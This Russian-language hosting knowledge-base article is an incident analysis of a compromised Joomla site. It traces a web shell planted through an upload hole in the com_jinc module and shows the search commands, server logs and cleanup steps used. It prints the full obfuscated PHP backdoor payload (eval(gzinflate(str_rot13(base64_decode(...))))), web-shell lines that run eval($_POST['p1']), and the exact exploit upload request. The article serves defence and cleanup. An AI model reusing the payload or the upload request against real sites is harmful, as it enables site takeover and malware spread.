База знаний
Поиск и устранение вредоносного кода на сайте. Уязвимость в модуле Joomla
Автор:

Проверяем сайт на наличие стандартной функции php eval() которая зачастую используется во вредоносных целях.

 

Выполняем команду поиска:

# find ./domain.com -name "*.php" | xargs grep "eval" --color -w

 

Выводится целый список файлов. Из всех этих файлов нас интересуют те которые содержат закодированный код. В данном случае находим файл:

 

./domain.com/administrator/components/com_jinc/classes/graphics/tmp-upload-images/lobex21.php:

 

С содержимым в закодированном виде:

<?php eval(gzinflate(str_rot13(base64_decode('rUl6QttVEP58VfyHci+SHRUcbaeTKsCoHJgS3U64OLkvAUwbe5N5sdfWbVrIIf77zezabCmU0qr5knFznpl0nh3PmiuVq1XxIkpNyKm73z7c3hIT4u6IsuTaelJuEIbd3tXIGbPP7M65erd/bNzed92LReg4r6QmPtkHQ3jOx/ATAf1/g/6IXgwG19FSLxzQW2cL+WzD3Q/+GQbhIBr2uzZgnCcLiKAsbnHB5JQAgsea3FVZjWuKbiWb8Hk/4RD6RFURWoGlg8YoyxPuLPkvA9vksUjyuEVPLyB9a2UeUZe9swAS9M7P6eHT9hZCWP5X1BUEmdJcFVz5Q2SWl228kCzj7rIjx35UJ3R0fZCp7pnf6VxOkq+B+sFyYhCsgTImRZfa3uFDmALkxylNvTjP6C6hUym6WC9LKUXyJx4Lk3GmaGTQ6TRNgXdaOzeye1pPru45Eqm7uJEErN26DJgbrtQwf2ns9SmvxG0W8e6dRFZZ3HNnPgWDkROnueQ4Njg1cl6pmK/PgROe9rvXg+i8+2pjaGUZOHMWEl53TvxI1EzvZ2sZXA2ifq83Y2E92hFlknvFrMChQ9yqd9PvEotiW74/ZG8O3jQxB2lvICie5YQedqFGfjyUf8l8LskeCVJJpJyEM56mVB3rPRqrcOykhllla65X8R/3fyNknsIB/frBfCDwmG3Luh496oyX4BYYowrO16cu9aDNCAygjTZTt+3R9lt4DAEAjUci8VqmeQE/IcOyhFTJZ+Wcfulcp/WmbWuAQ5DikVOVOc72c5pWJXAtZVaKORQjOEHxPLGPSYwmO3ytyi+1RVJeuujfaDqOmT3j2k5fyqVktffeo1BkXSlW0OJOY2a6j3hpM9i1/aUSNzffRgOiv16kLoSSOSCZylWGmwOUvsZIV5jRwKf0+GhOQvMscDJ2BDwSsqg00YuC+0fzB1oJd+zTOFjopjesxplL+XoeV+5MTZn/ahDfTnPHzuEmRg4HcUVxSKpSwZQ2ZHsJ06xu3rSD3XyjhW6R5iwh5yLlpo0OUz/rcyaShMuaena5YgRZAF+7ZDbxL614frDZXnJkxecGfUDWVqzlVDUt+v0faB3J5/iDkjhycul4tgGwJHgfHeultrbhDWzXtikqNmUsuNmnlU4kAhd7sW0GaU2GVIOp6QDo0TjM/sWFG46cUxLnFuJZkJnDLL/nkc3OkwgD3BchOisiC4Otu3HjmTI1mZ+SCru1e6SZCrgQbIJ74YnYclk2/G4Vx7wsiQaT93I6S14HdIQekifztD0TuR76U3JrU4xxtTNYzCVIr7VP8fUJ+r2ZoH3zgXJd4p6P+AOPXcxxtpodog5v6cZ32bw6sxWFvOawZfwohfy7OKhWUKFgbfbw7asbw1cI4w+gbMJd2m5WBtcuLFKGrxe7NpFsyxizmG5TgxntG7yagAV0IjIXGJCECwwWLcbCtQ+GiZhJkAuWibn/240QAF1/UCE/oI6TlnEvcs6LAv0P'))));

?>

 

 

Проверяем когда был создал файл:

# ls -la ./domain.com/administrator/components/com_jinc/classes/graphics/tmp-upload-images/lobex21.php

-rw-r--r-- 1 user1135947 user1135947 1552 Июл 12 03:19 ./domain.com/administrator/components/com_jinc/classes/graphics/tmp-upload-images/lobex21.php

 

Проводим поиск всех файлов на сайте созданных в эту дату

# find ./domain.com/ -name "*.php" | xargs ls -la | grep "Июл 12"

Ничего не находим.

 

Пробуем тот же поиск по ближайшим датам:

# find ./domain.com/ -name "*.php" | xargs ls -la | grep "Июл 13"

# find ./domain.com/ -name "*.php" | xargs ls -la | grep "Июл 11"

 

Находим файл:

-rw-r--r-- 1 user1135947 user1135947 74965 Июл 13 12:49 ./domain.com/administrator/components/com_jinc/classes/graphics/tmp-upload-images/se.php

 

Смотрим его содержимое.

И находим в нем строчки:

eval(arr[2].substr(0, arr[1]));

eval($_POST['p1']);

eval($_POST['p1']);

Из опыта, могу сказать, что файлы содержащие подобный код осуществляют или рассылку спама или занимаются распространением вредоносного кода. Это можно увидеть путем изучение этого файла и переменной в нем p1. Файл очень большой поэтому приводить в пример его не буду. Но файл является весьма стандартным во многих случаях заражения.

 

 

Проверяем логи Web-сервер на наличие POST запросов:

# cat domain.com.access.log | grep POST --color

Видно что идет подбор паролей к админке сайта:

78.47.135.53 - - [04/Jul/2014:01:39:40 +0300] "POST /administrator/index.php HTTP/1.0" 303 - "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.2) Gecko/2008091620 Firefox/3.0.2" 167258

78.47.135.53 - - [04/Jul/2014:01:39:46 +0300] "POST /administrator/index.php HTTP/1.0" 303 - "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.2) Gecko/2008091620 Firefox/3.0.2" 157218

78.47.135.53 - - [04/Jul/2014:01:39:51 +0300] "POST /administrator/index.php HTTP/1.0" 303 - "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.2) Gecko/2008091620 Firefox/3.0.2" 139863

78.47.135.53 - - [04/Jul/2014:01:39:57 +0300] "POST /administrator/index.php HTTP/1.0" 303 - "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.2) Gecko/2008091620 Firefox/3.0.2" 174724

78.47.135.53 - - [04/Jul/2014:01:40:02 +0300] "POST /administrator/index.php HTTP/1.0" 303 - "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.2) Gecko/2008091620 Firefox/3.0.2" 181493

 

Находим наш первичный зловредный файл, хочу отметить что время запроса веб-сервера совпадает с временем создания:

78.47.135.53 - - [12/Jul/2014:03:19:48 +0300] "POST //administrator/components/com_jinc/classes/graphics/php-ofc-library/ofc_upload_image.php?name=lobex21.php HTTP/1.0" 200 54 "-" "libwww-perl/5.803" 44852

78.47.135.53 - - [12/Jul/2014:03:19:48 +0300] "GET //administrator/components/com_jinc/classes/graphics/tmp-upload-images/lobex21.php?rf HTTP/1.0" 200 4336 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6" 30813

Видно, что первый POST запрос получил код 200, что успешно выполнился и второй GET запрос подтвердил что файл уже присутствует.

 

Так же находятся логи и по второму зловредному файлу:

78.47.135.53 - - [13/Jul/2014:12:49:27 +0300] "GET //administrator/components/com_jinc/classes/graphics/tmp-upload-images/se.php HTTP/1.0" 200 12666 "-" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36" 75504

78.47.135.53 - - [13/Jul/2014:12:49:30 +0300] "POST //administrator/components/com_jinc/classes/graphics/tmp-upload-images/se.php HTTP/1.0" 200 27411 "http://domain.com//administrator/components/com_jinc/classes/graphics/tmp-upload-images/se.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36" 31076

 

Однако, здесь первый запрос GET, что означает что файл присутствовал уже к моменту первого запроса. Создание файла se.php осуществил файл lobex21.php

 

Так же в логах виден постоянный POST запрос:

78.47.135.53 - - [13/Jul/2014:17:00:31 +0300] "POST /plugins/content/jllike/models/ajax.php HTTP/1.0" 200 1 "http://domain.com/reklama-v-gazete.html" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36" 322750

 

При проверке файл domain.com/plugins/content/jllike/models/ajax.php

Оказывается, что это бот-стучалка, скрипт осуществляет CURL запросы на сторонние сайты тем самым проверяет их на наличие определенных последовательной.

 

Вернемся к нашему первому файлу:

domain.com/administrator/components/com_jinc/classes/graphics/tmp-upload-images/lobex21.php

 

Из логов видно как он попал на сайт:

78.47.135.53 - - [12/Jul/2014:03:19:48 +0300] POST //administrator/components/com_jinc/classes/graphics/php-ofc-library/ofc_upload_image.php?name=lobex21.php HTTP/1.0" 200 54 "-" "libwww-perl/5.803" 44852

 

Т.е. файл был загружен через модуль com_jinc.

Гуглим на наличие уязвимости в данном модуле.

И находим очень много ссылок на эксплоит в данном модуле, одна из них:

http://black-cybersec-crew.blogspot.com/2014/03/exploit-joomla-comjinc.html

 

Изучив статью, можно заметить, что она полностью подпадает под наш случай.

 

Итог:

Первичное заражение произошло через уязвимость в одном из модулей Joomla а именно в com_jinc.

Через уязвимость был загружен файл lobex21.php которой в дальнейшем осуществлял вредоносные действия на сайте.

Необходимо удалить модуль com_jinc удалить файлы lobex21.php se.php ajax.php

Желательно обновить все модули и версию Joomal.

Обязательно сменить все пароли.

 



Если решение вопроса найти не удалось, Вы можете отправить нам заявку:



(4 голос(а))
Эта статья помогла
Эта статья не помогла

Комментарии (0)